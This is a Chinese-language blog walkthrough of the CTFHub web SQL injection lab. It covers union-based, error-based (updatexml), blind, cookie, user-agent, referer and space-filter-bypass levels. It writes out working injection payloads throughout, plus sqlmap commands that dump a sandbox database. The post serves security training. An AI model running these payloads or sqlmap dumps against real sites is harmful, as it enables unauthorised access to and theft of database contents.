C/C++教程

CTFHub-web(SQL注入)

本文主要是介绍CTFHub-web(SQL注入),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

文章目录

  • 整数型注入
  • 字符型注入
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • Mysql结构
  • Cookie注入
  • UA注入
  • Refer注入
  • 过滤空格

整数型注入

按照提示,我们输入1
在这里插入图片描述然后输入

1 order by 2

发现order by 3无法正常回显,证明存在两列
在这里插入图片描述

然后我们使用联合查询语句

-1 union select 1,2

在这里插入图片描述
我们开始爆库

-1 union select 8,database()

在这里插入图片描述
但我们爆表的时候发现出现错误,我们可以把表名转化为16进制,这里需要有火狐的hacker插件
在这里插入图片描述

在这里插入图片描述

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69

然后我们执行
在这里插入图片描述
然后我们爆字段

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

在这里插入图片描述
然后我们查询flag

-1  union select 1,flag from sqli.flag

在这里插入图片描述
即可通关

字符型注入

我们输入

/?id=1'

页面回显在这里插入图片描述
我们将最后一个引号注释掉–+
发现可以正常回显

/?id=1'--+

在这里插入图片描述
然后我们跟第一关的步骤一样即可通关

查看列数
/?id=1' order by 1,2 --+
用联合查询语句
/?id=-1' union select 1,2 --+
查看库
/?id=-1' union select 1,database() --+
查看表
/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+
查看字段
/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+
爆字段
/?id=-1' union select 1,flag from sqli.flag --+

在这里插入图片描述得到flag

报错注入

我们尝试输入

/?id=1

在这里插入图片描述
回显没有问题

/?id=1'

在这里插入图片描述
显示查询错误
我们可以使用语句updatexml,大家可以在网上查找相关资料和用法
我们查看库

/?id=1 and updatexml(1,concat(0x5e,database()),1)

然后我们查看表

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)

查看字段

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)

然后查看字段flag的值

/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)

在这里插入图片描述用语句

/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)

即可找到没有显示出来的值
得到完整的flag

布尔盲注

这道题我们使用sqlmap来进行爆破
首先输入

python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -dbs

这里python sqlmap.py -u"url" -batch是基本的注入框架,“-dbs”指向数据库。
运行结果
在这里插入图片描述
然后我们输入

python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -tables

-D是数据库,“-tables”指向爆破表名。
运行结果
在这里插入图片描述然后我们输入

sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -columns

-T是表名,-columns是爆破列名
运行结果
在这里插入图片描述
然后我们输入

sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -C"flag" -dump

-dump是爆数据,成功得到flag
在这里插入图片描述

时间盲注

我们使用sqlmap,跟上一关的方法相同。
在这里插入图片描述

Mysql结构

与上一关一样,用sqlmap跑,不一样的是表名,列名不太一样
爆库
在这里插入图片描述库名
在这里插入图片描述爆表
在这里插入图片描述表名
在这里插入图片描述
爆列
在这里插入图片描述

列名

在这里插入图片描述
爆字段
在这里插入图片描述得到flag在这里插入图片描述

Cookie注入

这关我们用burp抓包尝试,发现注入点
在这里插入图片描述爆库
在这里插入图片描述爆表在这里插入图片描述爆列
在这里插入图片描述爆字段
在这里插入图片描述发现flag

UA注入

这关提示ua注入,我们打开burp抓包尝试
在ua处输入

11 union select 1,database()

得到库名
在这里插入图片描述然后爆表
在这里插入图片描述爆列
在这里插入图片描述
爆字段
在这里插入图片描述
得到flag

Refer注入

同样用burp抓包,发到重发器,然后在头部添加referer信息
在这里插入图片描述即可找到注入点
同样,爆库,爆表
在这里插入图片描述爆列
在这里插入图片描述爆字段
在这里插入图片描述找到flag。

过滤空格

此处过滤的方法为/**/,将所有空格替换即可

输入

-1/**/union/**/select/**/1,database()

在这里插入图片描述

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69

在这里插入图片描述

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7378627379796d627771

在这里插入图片描述

-1/**/union/**/select/**/1,zzymanwqkx/**/from/**/sxbsyymbwq

在这里插入图片描述
得到flag

这篇关于CTFHub-web(SQL注入)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!